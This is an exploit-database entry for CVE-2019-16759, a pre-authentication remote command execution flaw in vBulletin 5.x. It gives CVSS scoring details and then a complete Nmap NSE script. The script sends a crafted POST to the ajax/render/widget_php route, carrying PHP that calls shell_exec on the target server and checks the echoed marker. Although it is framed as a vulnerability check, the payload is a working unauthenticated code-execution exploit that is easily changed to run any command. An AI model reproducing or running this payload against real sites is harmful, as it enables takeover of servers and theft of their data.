Exploitalert - Database of Exploits

vBulletin 5.x 0-Day Pre-Auth Remote Command Execution

CVE	Category	Price	Severity
CVE-2019-16759	CWE-78	Not disclosed	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2019-09-27

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.03048	0.602854

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019090182

vBulletin 5.x 0-Day Pre-Auth Remote Command Execution

description = [[ vBulletin 5.x 0day pre-auth RCE exploit This should work on all versions from 5.0.0 till 5.5.4 ]] local http = require "http" local shortport = require "shortport" local vulns = require "vulns" local stdnse = require "stdnse" local string = require "string" --- -- @usage -- nmap -p <port> --script http-vuln-CVE-2019-16759 <target> -- -- @output -- PORT STATE SERVICE -- s4430/tcp open http -- | http-vuln-CVE-2019-16759: -- | VULNERABLE -- | vBulletin 5.x 0day pre-auth RCE exploit -- | State: VULNERABLE -- | IDs: CVE:CVE-2019-16759 -- | -- | Disclosure date: 2019-09-23 -- | References: -- | https://seclists.org/fulldisclosure/2019/Sep/31 -- |_ https://nvd.nist.gov/vuln/detail/CVE-2019-16759 -- -- @args http-vuln-cve2019-16759.path The default URL path to request. The default is "/". author = "r00tpgp" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = { "vuln" } portrule = shortport.http action = function(host, port) local vuln = { title = "vBulletin 5.x 0day pre-auth RCE exploit", state = vulns.STATE.NOT_VULN, description = [[ vBulletin 5.x 0day pre-auth RCE exploit This should work on all versions from 5.0.0 till 5.5.4 ]], IDS = { CVE = "CVE-2019-16759" }, references = { 'https://seclists.org/fulldisclosure/2019/Sep/31', 'https://nvd.nist.gov/vuln/detail/CVE-2019-16759', }, dates = { disclosure = { year = '2019', month = '09', day = '23' } } } local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) local method = stdnse.get_script_args(SCRIPT_NAME..".method") or "POST" local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/index.php?routestring=ajax/render/widget_php" local body = { ["widgetConfig[code]"] = "echo shell_exec(\'echo h4x0000r > /tmp/nmap.check.out; cat /tmp/nmap.check.out\');exit;", } local options = { header = { Connection = "close", ["Content-Type"] = "application/x-www-form-urlencoded", ["User-Agent"] = "curl/7.65.3", ["Accept"] = "*/*", }, content = body } local response = http.post(host, port, path, nil, nil, body) if response and string.match(response.body, "h4x0000r") then vuln.state = vulns.STATE.VULN end return vuln_report:make_output(vuln) end

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